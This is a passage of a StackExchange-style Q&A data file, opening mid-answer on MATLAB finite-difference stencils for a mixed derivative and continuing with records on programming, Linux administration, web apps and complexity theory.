\\frac{1}{2} b^2df_{xxy}+ \\frac{1}{2} d^2bf_{xyy} +\\frac{1}{4} d^2b^2f_{xxyy}$$(II)\\qquad f(x+b,y-c)\\approx f + b f_x-c f_y +\\frac{b^2}{2}f_{xx} -bcf_{xy} +\\frac{c^2}{2}f_{yy}+ \\frac{b^3}{6}f_{xxx} - \\frac{c^3}{6}f_{yyy} - \\frac{1}{2} b^2cf_{xxy}+ \\frac{1}{2} c^2bf_{xyy}+\\frac{1}{4} c^2b^2f_{xxyy}$$(III)\\qquad f(x-a,y-c)\\approx f - a f_x-c f_y +\\frac{a^2}{2}f_{xx} +acf_{xy} +\\frac{c^2}{2}f_{yy}- \\frac{a^3}{6}f_{xxx} - \\frac{c^3}{6}f_{yyy} - \\frac{1}{2} a^2cf_{xxy}- \\frac{1}{2} a^2cf_{xyy}+\\frac{1}{4} a^2c^2f_{xxyy}$$(IV)\\qquad f(x-a,y+d)\\approx f - a f_x+d f_y +\\frac{a^2}{2}f_{xx} -adf_{xy} +\\frac{d^2}{2}f_{yy}- \\frac{a^3}{6}f_{xxx} + \\frac{d^3}{6}f_{yyy} + \\frac{1}{2} a^2df_{xxy}- \\frac{1}{2} a^2df_{xyy}+\\frac{1}{4} d^2a^2f_{xxyy}$$(V)\\qquad f(x,y+d)\\approx f +d f_y   +\\frac{d^2}{2}f_{yy} + \\frac{d^3}{6}f_{yyy} $$(VI)\\qquad f(x,y-c)\\approx f -c f_y   +\\frac{c^2}{2}f_{yy} - \\frac{c^3}{6}f_{yyy} $$(VII)\\qquad f(x+b,y)\\approx f + b f_x +\\frac{b^2}{2}f_{xx}  + \\frac{b^3}{6}f_{xxx}  $$(VIII)\\qquad f(x-c,y)\\approx f - c f_x +\\frac{c^2}{2}f_{xx}  - \\frac{c^3}{6}f_{xxx}  $$(IX)\\qquad f(x,y)= f  $Let $a_1$ is the weight of equation (I), $a_2$ is the weight of equation (II) by equating $\\sum a_i$*(equation number) =$0*f+0*f_x+...+ 1*f_{xy}+...+0*f_{xyy}$Since we are having nine points we need nine equations to solve this but we are having more equations than unknown but only some combinations can give results. Choosing those combinations could be based on what order of accuracy required. Let fix our highest derivative term shouldn't be more than 3. If we tried to solve we can't obtain an exact solution for 9*9, the easiest way to get a solution is freeing some variables.    clc    clear all    syms a1 a2 a3 a4 a5 a6 a7 a8 a7 a8 a9 a b c d % weight to each points        eq1=a1 + a2 + a3 + a4 + a5 + a6 + a7 + a8+a9; % first order equation        eq2= a1*b - a*a4 - a*a3 + a2*b + a7*b - a8*c;        eq3=a1*d - a3*c - a6*c - a2*c + a4*d + a5*d;        eq4=a^2*a3 + a^2*a4 + a1*b^2 + a2*b^2 + a7*b^2 + a8*c^2;        eq5=a*a3*c - a2*b*c - a*a4*d + a1*b*d-1;        eq6=a2*c^2 + a3*c^2 + a6*c^2 + a1*d^2 + a4*d^2 + a5*d^2;        eq7=a1*b^3 - a^3*a4 - a^3*a3 + a2*b^3 + a7*b^3 - a8*c^3;        eq8=a1*d^3 - a3*c^3 - a6*c^3 - a2*c^3 + a4*d^3 + a5*d^3;        eq9=a^2*a4*d - a2*b^2*c - a^2*a3*c + a1*b^2*d;        eq10=- a3*a^2*c - a4*a^2*d + a2*b*c^2 + a1*b*d^2;        eq11 =d^2*b^2*a1+c^2*b^2*a2+a^2*c^2*a3+d^2*a^2*a4;         sol1=solve(eq1,eq2,eq3,eq4,eq5,eq6,eq9,eq10,'a1','a2','a3','a4','a5','a6','a7','a8') % one of the possible solutions    sol1=solve(eq1,eq2,eq3,eq4,eq5,eq8,eq9,eq10,'a1','a2','a3','a4','a5','a6','a7','a8') % another possible solution    sol1=solve(eq1,eq2,eq3,eq4,eq5,eq7,eq9,eq10,'a1','a2','a3','a4','a5','a6','a7','a8') % another possible solution    a9=1; % free variable    w1=sol1.a1;    w2=sol1.a2;    w3=sol1.a3;    w4=sol1.a4;    w5=sol1.a5;    w6=sol1.a6;    w7=sol1.a7;    w8=sol1.a8;    w9=a9;%     Test problem    syms x y    f=@(x,y) 1 +1*x +1*y +2*x*y +1*x^2 +1*y^2 +1*x^2*y+1*x*y^2+1*x^3+1*y^3+x^4*y;f_x=diff(f,x);f_xy=diff(f_x,y);f_xy_00=subs(f_xy,[x y], [0 0]);f_00=subs(f_xy,[x y],[0 0]); disp('exact solution is')disp(f_00)a=0.1;b=0.1;c=0.1;d=0.1;P00=f(0,0);P10=f(b,0);P11=f(b,d);P01=f(0,d);P_11=f(-a,d);P_10=f(-a,0);P_1_1=f(-a,-c);P0_1=f(0,-c);P1_1=f(b,-c);f_xyn=w1*P11+w2*P1_1+w3*P_1_1+w4*P_11+w5*P01+w6*P0_1+w7*P10+w8*P_10+w9*P00; % numerical solutiondisp('Numerical solution is')disp(f_xyn) %sry I'm unable to use subs here so pls copy paste it agin in command windowThough all the answers are more or less same, they differ slighly based on what order we have considered. Similar to another answer, this sytem can be closed by omitting $f_{xxx}$, $f_{yyy}$ because they needs 4 points in $x$ or $y$ direction but we have only 3 points but we can calculate $f_{xxyy}$, it needs only 3 points in both the directions. If we include then the code becomeclcclear allsyms a1 a2 a3 a4 a5 a6 a7 a8 a7 a8 a9 a b c d % weight to each point    eq1=a1 + a2 + a3 + a4 + a5 + a6 + a7 + a8+a9; % first order equation    eq2= a1*b - a*a4 - a*a3 + a2*b + a7*b - a8*c;    eq3=a1*d - a3*c - a6*c - a2*c + a4*d + a5*d;    eq4=a^2*a3 + a^2*a4 + a1*b^2 + a2*b^2 + a7*b^2 + a8*c^2;    eq5=a*a3*c - a2*b*c - a*a4*d + a1*b*d-1;    eq6=a2*c^2 + a3*c^2 + a6*c^2 + a1*d^2 + a4*d^2 + a5*d^2;    eq7=a1*b^3 - a^3*a4 - a^3*a3 + a2*b^3 + a7*b^3 - a8*c^3;    eq8=a1*d^3 - a3*c^3 - a6*c^3 - a2*c^3 + a4*d^3 + a5*d^3;    eq9=a^2*a4*d - a2*b^2*c - a^2*a3*c + a1*b^2*d;    eq10=- a3*a^2*c - a4*a^2*d + a2*b*c^2 + a1*b*d^2;    eq11 =d^2*b^2*a1+c^2*b^2*a2+a^2*c^2*a3+d^2*a^2*a4;    sol1=solve(eq1,eq2,eq3,eq4,eq5,eq6,eq9,eq10,eq11,'a1','a2','a3','a4','a5','a6','a7','a8','a9');    w1=sol1.a1;    w2=sol1.a2;    w3=sol1.a3;    w4=sol1.a4;    w5=sol1.a5;    w6=sol1.a6;    w7=sol1.a7;    w8=sol1.a8; w9=sol1.a8;%     Test problem    syms x y    f=@(x,y) 1 +1*x +1*y +2*x*y +1*x^2 +1*y^2 +1*x^2*y+1*x*y^2+1*x^3+1*y^3+x^4*y;f_x=diff(f,x);f_xy=diff(f_x,y);f_xy_00=subs(f_xy,[x y], [0 0]);f_00=subs(f_xy,[x y],[0 0]); disp('exact solution is')disp(f_00)a=0.1;b=0.1;c=0.1;d=0.1;P00=f(0,0);P10=f(b,0);P11=f(b,d);P01=f(0,d);P_11=f(-a,d);P_10=f(-a,0);P_1_1=f(-a,-c);P0_1=f(0,-c);P1_1=f(b,-c);f_xyn=w1*P11+w2*P1_1+w3*P_1_1+w4*P_11+w5*P01+w6*P0_1+w7*P10+w8*P_10+w9*P00; % numerical solutiondisp('Numerical solution is')disp(f_xyn)  %sry I'm unable to use subs here so pls copy paste it again in the command windowUsing polynomial fitWe can fit a 2-D polynomial over the domain and you can find the derivative value. First, we shall consider 2-D cubic polynomial then we shall find $f_{xy}$. and matlab code is:clcclear allclose allsyms a0 a10 a01 a11 a20 a02  a12 a21 a30 a22 x ysyms a b c dsyms P00 P10 P11 P01 P_11 P_10 P_1_1 P0_1 P1_1f=@(x,y) a0 +a10*x +a01*y +a11*x*y +a20*x^2 +a02*y^2 +a21*x^2*y+a12*x*y^2+a30*x^3;f_x=diff(f,x);f_xy=diff(f_x,y);f_00=subs(f_xy,[x y],[0 0]);p00=f(0,0);p10=f(b,0);p11=f(b,d);p01=f(0,d);p_11=f(-a,d);p_10=f(-a,0);p_1_1=f(-a,-c);p0_1=f(0,-c);p1_1=f(b,-c);sol1=solve(p00-P00,p10-P10,p11-P11,p01-P01,p_11-P_11,p_10-P_10,p_1_1-P_1_1,p0_1-P0_1,'a0','a10','a01','a11','a20','a02','a12','a21');F_xy=sol1.a11$f_{xy} =\\frac{(P_{10} - P_{11} - P_{-10} + P_{-11})}{(d*(a + b))}$ + $\\frac{(P_{00} - P_{01} - P_{10} + P_{11})}{(b*d)} $- $\\frac{(P_{00}*c^2-P_{01}*c^2-P_{-10}*c^2+P_{-11}*c^2-P_{00}*d^2+P_{0-1}*d^2+P_{-10}*d^2-P_{-1-1}*d^2)}{(a*c*d*(c + d))}$The notation used here. $P_{xy}$ is the point  located in the quadrent where $(x,y)$ =($0+x$, $0+y$) lies.Similar to previous arguments, for $f_{xxyy}$ we can fit a quartic polynomial without $x^3$ and $y^3$ and the Matlab code isclcclear allclose allsyms a0 a10 a01 a11 a20 a02  a12 a21 a22 x ysyms a b c dsyms P00 P10 P11 P01 P_11 P_10 P_1_1 P0_1 P1_1f=@(x,y) a0 +a10*x +a01*y +a11*x*y +a20*x^2 +a02*y^2 +a21*x^2*y+a12*x*y^2+a22*x^2*y^2;f_x=diff(f,x);f_xy=diff(f_x,y);f_00=subs(f_xy,[x y],[0 0]);p00=f(0,0);p10=f(b,0);p11=f(b,d);p01=f(0,d);p_11=f(-a,d);p_10=f(-a,0);p_1_1=f(-a,-c);p0_1=f(0,-c);p1_1=f(b,-c);sol1=solve(p00-P00,p10-P10,p11-P11,p01-P01,p_11-P_11,p_10-P_10,p_1_1-P_1_1,p0_1-P0_1,p1_1-P1_1,'a0','a10','a01','a11','a20','a02','a12','a21','a22');F_xy=sol1.a11 %f_xy result$f_{xy} =\\frac{(P_{00}*a^2*c^2 - P_{01}*a^2*c^2 - P_{10}*a^2*c^2 + P_{11}*a^2*c^2 - P_{00}*a^2*d^2 - P_{00}*b^2*c^2 + P_{01}*b^2*c^2 + P_{10}*a^2*d^2 + P_{0-1}*a^2*d^2 - P_{1-1}*a^2*d^2 + P_{-10}*b^2*c^2 - P_{-11}*b^2*c^2 + P_{00}*b^2*d^2 - P_{0-1}*b^2*d^2 - P_{-10}*b^2*d^2 + P_{-1-1}*b^2*d^2)}{(a*b*c*d*(a + b)*(c + d))}$Test case:clcclear allclose allsyms x yf=@(x,y) 1 +1*x +1*y +2*x*y +1*x^2 +1*y^2 +1*x^2*y+1*x*y^2+1*x^3+1*y^3+x^4*y;f_x=diff(f,x);f_xy=diff(f_x,y);f_xy_00=subs(f_xy,[x y], [0 0]);f_00=subs(f_xy,[x y],[0 0]);a=0.1;b=0.1;c=0.1;d=0.1;P00=f(0,0);P10=f(b,0);P11=f(b,d);P01=f(0,d);P_11=f(-a,d);P_10=f(-a,0);P_1_1=f(-a,-c);P0_1=f(0,-c);P1_1=f(b,-c);disp('exact solution is')disp(f_00)f_22=(P00*a^2*c^2 - P01*a^2*c^2 - P10*a^2*c^2 + P11*a^2*c^2 - P00*a^2*d^2 - P00*b^2*c^2 + P01*b^2*c^2 + P10*a^2*d^2 + P0_1*a^2*d^2 - P1_1*a^2*d^2 + P_10*b^2*c^2 - P_11*b^2*c^2 + P00*b^2*d^2 - P0_1*b^2*d^2 - P_10*b^2*d^2 + P_1_1*b^2*d^2)/(a*b*d*(a + b)*(c^2 + d*c));disp('Numerical solution is')disp(f_22)Though there are a lot of ways to derive it, I personally prefer FD derived using polynomial because of its simplicity and accuracy of last $f_{xy}$ is higher than the previous one because it satisfies more terms in Taylors series."  } 
{  "id": "_softwareengineering.337026"  , "question": "I'm building my own utility functions to master ES6:const contains = (array, value) => {  return array.indexOf(value) > -1}const keys = (object) => {  return Object.keys(object)}const find = (array, value) => {  return array.filter(item => {    return item[keys[0]] === value[keys[0]]  })[0]}So far, I've encountered only one problem: naming my arguments. I'm checking Lodash's naming conventions. I think it's clear when to use array, object, etc... I also saw the keyword value. When to use this one? When I'm unsure of the argument's type?"  , "title": "When should I use value as an argument name?"  , "tags": "javascript;naming;functions;naming standards"  , "accepted_answer": "In this context, value is being used as a synonym for item in an array or collection.  It's as good a guideline as any."  } 
{  "id": "_codereview.70837"  , "question": "#include <iostream>using namespace std;class Math{private:    int answer;public:    /*void getAn()    {        cout << answer;    }*/    int add(int x, int y){    cout << Add two numbers:\\n;    cin >> x;    cin >> y;    answer = x + y;    return answer;}    int sub(int x, int y){    cout << Subtract one number from the other:\\n;    cin >> x;    cin >> y;    answer = x - y;    return answer;}    int multi(int x, int y){    cout << Multiply two numbers:\\n;    cin >> x;    cin >> y;    answer = x * y;    return answer;}    int divi(int x, int y){    cout << Divide two numbers:\\n;    cin >> x;    cin >> y;    answer = x / y;    return answer;}};int main(){    int choice;    int x,y;    int learning = 1;    Math doMath;    cout << This is a calculator!\\n << endl;    while(learning==1)    {        //doMath.getAn();        cout << endl;        cout << Menu:\\n1) Addition\\n2) Subtraction\\n3) Multiplication\\n4) Division\\n5) Quit\\n << endl;        cout << Choose your option.\\n;        cin >> choice;        if(choice==1)        {            cout << doMath.add(x,y) << endl;        }else if(choice==2)        {            cout << doMath.sub(x,y) << endl;        }else if(choice==3)        {            cout << doMath.multi(x,y) << endl;        }else if(choice==4)        {            cout << doMath.divi(x,y) << endl;        }else if(choice==5)        {            learning = 0;        }else        {            cout << THAT WASN'T A CHOICE, YOU LITTLE SHIT!!! << endl;            learning = 0;        }    }    return 0;}"  , "title": "Calculator with four arithmetic operations"  , "tags": "c++;calculator"  , "accepted_answer": "Do not insult usersTHAT WASN'T A CHOICE, YOU LITTLE SHIT!!! is absolutely not acceptable.You are repeating yourself a lot, in programming you should avoid as much as possible code repetition as it leads to bugs and is not easily reusable.Instead do this:template<typename Function>int do_operation(int x, int y,Function operation,string message) {    cout << message    cin >> x;    cin >> y;    answer = operation(x,y);    return answer;}You can then do:int add(int x,int y) {    return do_operation(x, y, std::plus<int>(), Add two numbers:\\n);}I see many many if and elif, it is better to use a switch statement. You may even use an array but perhaps then it would be overkill.learning is quite puzzling as a name. A more standard running is more intuitive.//doMath.getAn(); and /*void getAn(){    cout << answer;}*/are really puzzling. Either uncomment them or delete them because commented out code confuses the readers.Use constants for your strings and put them at the top. You can modify them in a simpler and faster way.static const string Menu = Menu:\\n1) Addition\\n2) Subtraction\\n3) Multiplication\\n4) Division\\n5) Quit\\nstatic const string ErrorMessage = Invalid choice, enter a valid number.and thencout << Menu << endl;cout << Choose your option.\\n;and else {    cout << ErrorMessage << endl;    running = 0;}Do not use while(learning==1) because it is redundant and weird, use the simpler while(learning) (or even better while(running))Do not use using namespace std;, if you are curious to know why, look herePut the first brace on the same line of the function title and indent the function body.int add(int x, int y) {    cout << Add two numbers:\\n;    cin >> x;    cin >> y;    answer = x + y;    return answer;}"  } 
{  "id": "_unix.271682"  , "question": "MAC Pro 15 inchOS: GentooWonder if someone can shed some light on how to deal with unclaimed PCI devices. I have the following list of unclaimed PCI devices. I am also pretty sure I have included the necessary kernel config to accommodate for the below. *-generic UNCLAIMED                      description: System peripheral                      product: Intel Corporation                      vendor: Intel Corporation                      physical id: 0                      bus info: pci@0000:08:00.0                      version: 00                      width: 32 bits                      clock: 33MHz                      capabilities: pm msi pciexpress msix bus_master cap_list                      configuration: latency=0                      resources: memory:b0e00000-b0e3ffff memory:b0e40000-b0e40fff--        *-communication UNCLAIMED             description: Communication controller             product: 8 Series/C220 Series Chipset Family MEI Controller #1             vendor: Intel Corporation             physical id: 16             bus info: pci@0000:00:16.0             version: 04             width: 64 bits             clock: 33MHz             capabilities: pm msi bus_master cap_list             configuration: latency=0             resources: memory:b0d19100-b0d1910f--        *-serial UNCLAIMED             description: SMBus             product: 8 Series/C220 Series Chipset Family SMBus Controller             vendor: Intel Corporation             physical id: 1f.3             bus info: pci@0000:00:1f.3             version: 05             width: 64 bits             clock: 33MHz             configuration: latency=0             resources: memory:b0d19000-b0d190ff ioport:efa0(size=32)        *-generic UNCLAIMED             description: Signal processing controller             product: 8 Series Chipset Family Thermal Management Controller             vendor: Intel Corporation             physical id: 1f.6             bus info: pci@0000:00:1f.6             version: 05             width: 64 bits             clock: 33MHz             capabilities: pm msi bus_master cap_list             configuration: latency=0             resources: memory:b0d18000-b0d18fff"  , "title": "Linux PCI devices - unclaimed"  , "tags": "pci"  } 
{  "id": "_webapps.6063"  , "question": "Is it possible to get notified by email or RSS of new activity in your Facebook Page?"  , "title": "Get notified of Facebook Page activity?"  , "tags": "facebook;rss"  , "accepted_answer": "You can get the rss feed of a page from http://www.facebook.com/feeds/page.php?format=atom10&id=xxxxx . It includes any post to your page but sadly not the comments."  } 
{  "id": "_webapps.53363"  , "question": "I opted out of the New Google Maps, but I have changed my mind.How do I get back to the new Google Maps?"  , "title": "How can I get back to New Google Maps, after having opted out?"  , "tags": "google maps"  } 
{  "id": "_cs.35994"  , "question": "Randomized Quick Sort is an extension of Quick Sort in which pivot element is chosen randomly. What can be the worst case time complexity of this algo. According to me it should be $O(n^2)$.Worst case happens when randomly chosen pivot is got selected in sorted or reverse sorted order. But in this and this text its worst case time complexity is written as $O(n\\log{n})$What's correct?"  , "title": "Why does randomized Quicksort have O(n log n) worst-case runtime cost?"  , "tags": "algorithm analysis;runtime analysis;sorting"  , "accepted_answer": "Both of your sources refer to the worst-case expected running time of $O(n \\log n).$ I'm guessing this refers to the expected time requirement, which differs from the absolute worst case.Quicksort usually has an absolute worst-case time requirement of $O(n^2)$. The worst case occurs when, at every step, the partition procedure splits an $n$-length array into arrays of size $1$ and $n-1$. This unlucky selection of pivot elements requires $O(n)$ recursive calls, leading to a $O(n^2)$ worst-case.Choosing the pivot randomly or randomly shuffling the array prior to sorting has the effect of rendering the worst-case very unlikely, particularly for large arrays. See Wikipedia for a proof that the expected time requirement is $O(n\\log n)$. According to another source, the probability that quicksort will use a quadratic number of compares when sorting a large array on your computer is much less than the probability that your computer will be struck by lightning.Edit:Per Bangye's comment, you can eliminate the worst-case pivot selection sequence by always selecting the median element as the pivot. Since finding the median takes $O(n)$ time, this gives $\\Theta(n \\log n)$ worst-case performance. However, since randomized quicksort is very unlikely to stumble upon the worst case, the deterministic median-finding variant of quicksort is rarely used. "  } 
{  "id": "_softwareengineering.187297"  , "question": "I am really confused.The GPL states that if you start with GPL code, and modify that code, that you must release your code with modifications free of charge also under a GPL.But what if you simply use the existing GPL code without modifications as a library? Can you then write software to interface with that code, unchanged, that is closed source?"  , "title": "Sell code using dynamically linked Open Source GPL code?"  , "tags": "licensing;gpl"  } 
{  "id": "_unix.64084"  , "question": "I have a ssh server. I allow people to connect to it if they want. I do my programming homework on it. I am in trouble with my teacher because people were cheating off it. I need to know how to require sudo just to access the file."  , "title": "how to require sudo to view files?"  , "tags": "ssh;security;sudo"  } 
{  "id": "_softwareengineering.250863"  , "question": "The question is how to cope with absence of variable declaration in Python, PHP, and the like.In most languages there is a way to let the compiler know whether I introduce a new variable or refer to an existing one: my in Perl (use strict) or \\newcommand vs. \\revewcommand in LaTeX. This prevents from two major sources of errors and headache: (1) accidentally using the same name of a variable for two different purposes, such as in (PHP)$v = $square * $height;<...lots of code...>foreach ($options as $k => $v)    echo For key $k the value is $v\\n;<...lots of code...>echo The volume is $v;or a lot nastier (PHP)$a = [1, 2, 3];foreach ($a as $k => &$v)    $v++;foreach ($a as $k => $v)    echo $k => $v\\n;(can you see a bug here? try it!); and(2) prevent from typos (PHP):$option = 1;$numberofelements = 1;if ($option){    $numberofelenents = 2;}echo $numberofelements;(can you see a bug here? PHP will execute silently). Using something like my (Perl)use strict; my $option = 1;my $numberofelements = 1;if ($option){    $numberofelenents = 2;}say $numberofelements;(Perl will immediately report the bug) is a tiny effort and HUGE benefit both in debug time and (much more importantly) in losses (potentially huge) from incorrect programs.However, some languages, notably Python, PHP, and JavaScript, do not give any protection from these types of bugs.My question is how can we effectively cope with this?The only way I can foresee is to create two functions (PHP):function a ($x){    if (isset ($x))        die();    else        return &$x;}andfunction the ($x){    if (isset ($x))        return &$x;    else        die();}and use them always:a($numberofelements) = 1;the($numberofelenents)++;say the($numberofelements);but of course this is extremely cumbersome. Any better way of effectively protecting from such errors? No, use another language, be careful and don't make errors, and split your code in tiny functions are not good answers (the latter may protect from the errors of type 1 but not type 2)."  , "title": "Declaring variables in Python and PHP"  , "tags": "programming languages;debugging;errors;declarations"  , "accepted_answer": "In my experience, there are three ways to prevent the problems you described above:Limit the scope of your variablesName your variables something meaningful and descriptiveUse a pre-compiler to notify of any errors (Doval mentioned pylint for Python)1) Limiting the scope of your variables will limit the first error.  You will have fewer variables that have the possibility of containing the same name.  Odds are that you won't have any collisions.  You can limit scope by declaring variables only in the scope that they will be used.  The reason this works is because variables will be disposed of as a result of the natural cycle in your code.  I've provided an example below for clarify.class:    classVariable = classVar;    function ThisIsAFunction(functionVar) {        var functionVar2 = functionVar2;        if functionVar > functionVar2 :            var ifStatementVar = ifStatementVar;            for i in range(0,2):                ifStatementVar += i;            // i will go out of scope here        // ifStatementVar will go out of scope here    // functionVar and functionVar2 will go out of scope here2) Naming your variables something meaningful will go a long way to preventing re-use of the same variable name.  The key in naming your variables is to make them specific enough that their name cannot be reused.  When refactoring code it is a good idea to look for function, variable and class names that can be renamed to better reflect their purpose and meaning.  An example of good variable names is the following:function GetSumOfTwoIntegers(intFirstNum, intSecondNum):    return intFirstNum + intSecondNum;There is a lot of discrepency when deciding on good names.  Everyone has their own style.  The main thing to ensure is that you it is clear to yourself and others what the method, parameter or class is supposed to do and be used for.  GetSumOfTwoIntegers as a method name tells anyone calling this method that they need to pass in two integers and they will be receiving the sum as a result.3) Finally, you can use a pre-compiler to tell you of any mistakes that have been made.  If you are using a good IDE, it will notify you of any errors.  Visual Studio uses Intellisence to let the developer know of any errors before compiling.  Most languages have an IDE that supports this functionality.  Using one would certainly solve your second problem.The reason someone might choose to create the syntax of a language in a specific way is hard to determine.  I can posture that in Python's case it was likely that the creator wanted to type less when writing code.  It only takes a print statement to create a Hello World program in Python.  Creating a comparable program in Java requires a lot more typing.  Anyways, I don't really know why the creator chose this syntax."  } 
{  "id": "_cstheory.8344"  , "question": "As far as I know, following operations convert a $PCP_{1,s}[O(\\log n),O(1)]$ , to a  $PCP_{1,s}[O(\\log n),O(1)]$, with following $s$ :By constant number of applications of serial repetition: can get every constant s>=1/2;By constant number of applications of parallel repetition: can get every constant s>0;By $\\theta(\\log n)$ number of applications of Dinurs gap amplification transformation: can get some constant $s\\geq1/2$; (see Gap Amplification Fails Below 1/2)My questions:Could you please correct me if I have made any mistakes?What is special with  in serial repetition or Dinurs transformation? why not another constant, like 1/3 or else?Are such a results true for PCPs with imperfect completeness?remark:with $PCP_{c,s}$, I mean PCP with completeness c and soundness error s."  , "title": "Effect of serial repetition on soundness of a PCP, and what is special with 1/2?"  , "tags": "cc.complexity theory;pcp"  , "accepted_answer": "Sequential repetition can give you any constant soundness error larger than 0, not just soundness error $\\geq 1/2$.Dinur's approach gives you a constant soundness error which is not only at least half, but, in fact, extremely close to 1, maybe 0.99999.The note of Andrej Bogdanov that you linked to shows that getting a soundness error smaller than half inherently won't work using Dinur's approach. The reason is specific to this approach, and is explained well in the note.The soundness amplification results work for imperfect completeness as well. It's pretty straightforward to convince yourself of that in the case of sequential/parallel repetition. Dinur's approach can also be adapted to imperfect completeness.Remark: Dinur's approach, just like the other two approaches, requires a number of iterations/repetitions that depends on the soundness you start with and the soundness you want to get. In her case it's $\\Theta(\\log(\\frac{1}{1-s}))$ iterations to get to constant soundness. Irit starts with $s\\approx 1-\\frac{1}{n}$, and that's why she needs $\\Theta(\\log n)$ iterations."  } 
{  "id": "_unix.158922"  , "question": "I am installing wine 1.6.2 on Ubuntu 12.04 by compiling the source, since I can't find a binary from a ppa.But as I am now compiling the source in /tmp, the free space of my / has dropped to 70Mb. It has been quite  a while, and I don't know how long it will take to finish compiling, or where I am in the progress towards finishing compiling. Now I have stopped the compiling. I am stopped atgcc -c -I. -I. -I../../../include -I../../../include  -DWINE_STRICT_PROTOTYPES -DWINE_NO_NAMELESS_EXTENSION -DWIDL_C_INLINE_WRAPPERS  -D_REENTRANT -fPIC -Wall -pipe -fno-strict-aliasing -Wdeclaration-after-statement -Wempty-body -Wignored-qualifiers -Wstrict-prototypes -Wtype-limits -Wunused-but-set-parameter -Wwrite-strings -Wpointer-arith -Wlogical-op -gdwarf-2 -gstrict-dwarf -fno-omit-frame-pointer  -g -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0  -o automation.o automation.cgcc -c -I. -I. -I../../../include -I../../../include  -DWINE_STRICT_PROTOTYPES -DWINE_NO_NAMELESS_EXTENSION -DWIDL_C_INLINE_WRAPPERS  -D_REENTRANT -fPIC -Wall -pipe -fno-strict-aliasing -Wdeclaration-after-statement -Wempty-body -Wignored-qualifiers -Wstrict-prototypes -Wtype-limits -Wunused-but-set-parameter -Wwrite-strings -Wpointer-arith -Wlogical-op -gdwarf-2 -gstrict-dwarf -fno-omit-frame-pointer  -g -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0  -o db.o db.cgcc -c -I. -I. -I../../../include -I../../../include  -DWINE_STRICT_PROTOTYPES -DWINE_NO_NAMELESS_EXTENSION -DWIDL_C_INLINE_WRAPPERS  -D_REENTRANT -fPIC -Wall -pipe -fno-strict-aliasing -Wdeclaration-after-statement -Wempty-body -Wignored-qualifiers -Wstrict-prototypes -Wtype-limits -Wunused-but-set-parameter -Wwrite-strings -Wpointer-arith -Wlogical-op -gdwarf-2 -gstrict-dwarf -fno-omit-frame-pointer  -g -O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0  -o format.o format.c^Z[1]+  Stopped                 makeIs it possible to know how long and much space an installation from compiling source might take?What would you do better, if you were me? Thanks."  , "title": "Possible to know how much space and time the installation of some application from source takes?"  , "tags": "software installation"  } 
{  "id": "_unix.279256"  , "question": "I am running Debian Jessie with xfce. I used to have the system in English (en_US.utf8 as LANG since I installed debian only with English).Lately, I installed new locales and even if I made sure I chose None for the default locale, as advised on the wiki, I noticed that one of the installed locale, German is now set (LANG=de_DE.utf8 when I run locale).I followed the instructions on the other wiki about changing the locale, ie.# export=en_US.utf8and thendpkg-reconfigure localesand then restarting.But I still get LANG=de_DE.utf8 and de_DE.utf8 for all the LC_* variables (LANGUAGE is set to English though).I even removed the German local, rerun the export and dpkg-reconfigure locales and restarted but I still have LANG=de_DE.utf8.What am I missing here?Could it come from xfce session and startup settings? I looked a bit there but I'm not sure if I might not break other stuff by playing around with those settings."  , "title": "Debian Jessie with Xfce: cannot change locale (LANG) after installing new locale"  , "tags": "unicode;debian;locale"  } 
{  "id": "_webapps.22056"  , "question": "Let's say there's a channel that churns out a lot of content, but I am only interested in a subset of it. That content cannot be made into a show, as per some YouTube guideline or whatever, but the channel owner helpfully compiles it into a playlist.I know it's possible to subscribe to a show, but what about a playlist?(I actually remember doing so about 3 design iterations back, but I can't find it now.)"  , "title": "How do I subscribe to a YouTube playlist?"  , "tags": "youtube;youtube playlist"  } 
{  "id": "_unix.138706"  , "question": "I would like to accomplish the following.Copy the contents of all search results into a single file.I don't want to copy the search result but the file contents of the search result.For example my search result returned a list of 10 files then I would like to copy the contents of those 10 files into a single file (e.g dump.test).I hope I have clearly explained the requirement."  , "title": "How to copy contents of command line search result in unix to a file?"  , "tags": "search;copy"  } 
{  "id": "_unix.204958"  , "question": "I have multiple files to rename    leng-1494-001    leng-1464-002    leng-2414-004    leng-7894-005    leng-1323-006I want to rename it    ferr-1494-001    ferr-1464-002    ferr-2414-004    ferr-7894-005    ferr-1323-006I know how to do for ferr and leng,but how to replace characters from 6 to 10( 1464,7894) with  blank line for example,or string like aaaa bbbb cccc using sed?Also awk or perl solution is welcome.Thanks"  , "title": "awk or sed or perl: remove only characters on specific position"  , "tags": "sed;awk;perl"  , "accepted_answer": "POSIXly:$ sed -e 's/-[^-]*-/-/' file    leng-001    leng-002    leng-004    leng-005    leng-006"  } 
{  "id": "_unix.57364"  , "question": "A bit of backgroundI'm a developer and I install most of my tools in my home folder. So my shell's rc file is full of JAVA_HOME, GROOVY_HOME, MAVEN_HOME, ... variables. To expose all these environment variables to my GUI applications (think my IDE) I used to write a shell script by first defining those variables again and then running the application; and finally adding a launcher in my application menu to run that script.One day I realized that I could just run my application via my shell. As all the variables defined in the shell's rc files were going to be set in the application environment. So the entry in my application menu became something like /usr/bin/my-shell ~/my-ide/bin/start.shNow the questionCan I instruct my DM to always use my shell to run all my applications?Side notesI use ZSH and Gnome, but a more generic solution would be appreciated.I've already set my default shell to ZSH, but Gnome doesn't seem to  considered that a good enough reason to use that shell for everything."  , "title": "Can I change the shell used to run GUI applications from a Desktop Manager?"  , "tags": "shell;gnome;configuration;environment variables;desktop environment"  } 
{  "id": "_webapps.52430"  , "question": "How do we use Google Groups to browse Usenet groups? Specifically, if I am looking at comp.os.linux.networking, how do I go up on level to comp.os.linux?In the old days before Google changed the interface, the elements of an Usenet group were linked and clicking one would allow us to navigate up (see the red box below). And searching just sucks: comp.os.linux groups returned one result of comp.os.linux.misc (even though there are probably tens to hundred in that branch).I don't think a traditional Usenet agent is a viable option anymore (like Forte's Agent). I'm not sure telco's like Verizon even offer them any longer. I could not find Verizon's news server settings when searching their site."  , "title": "How do I navigate between Usenet groups in Google groups?"  , "tags": "google groups;usenet"  } 
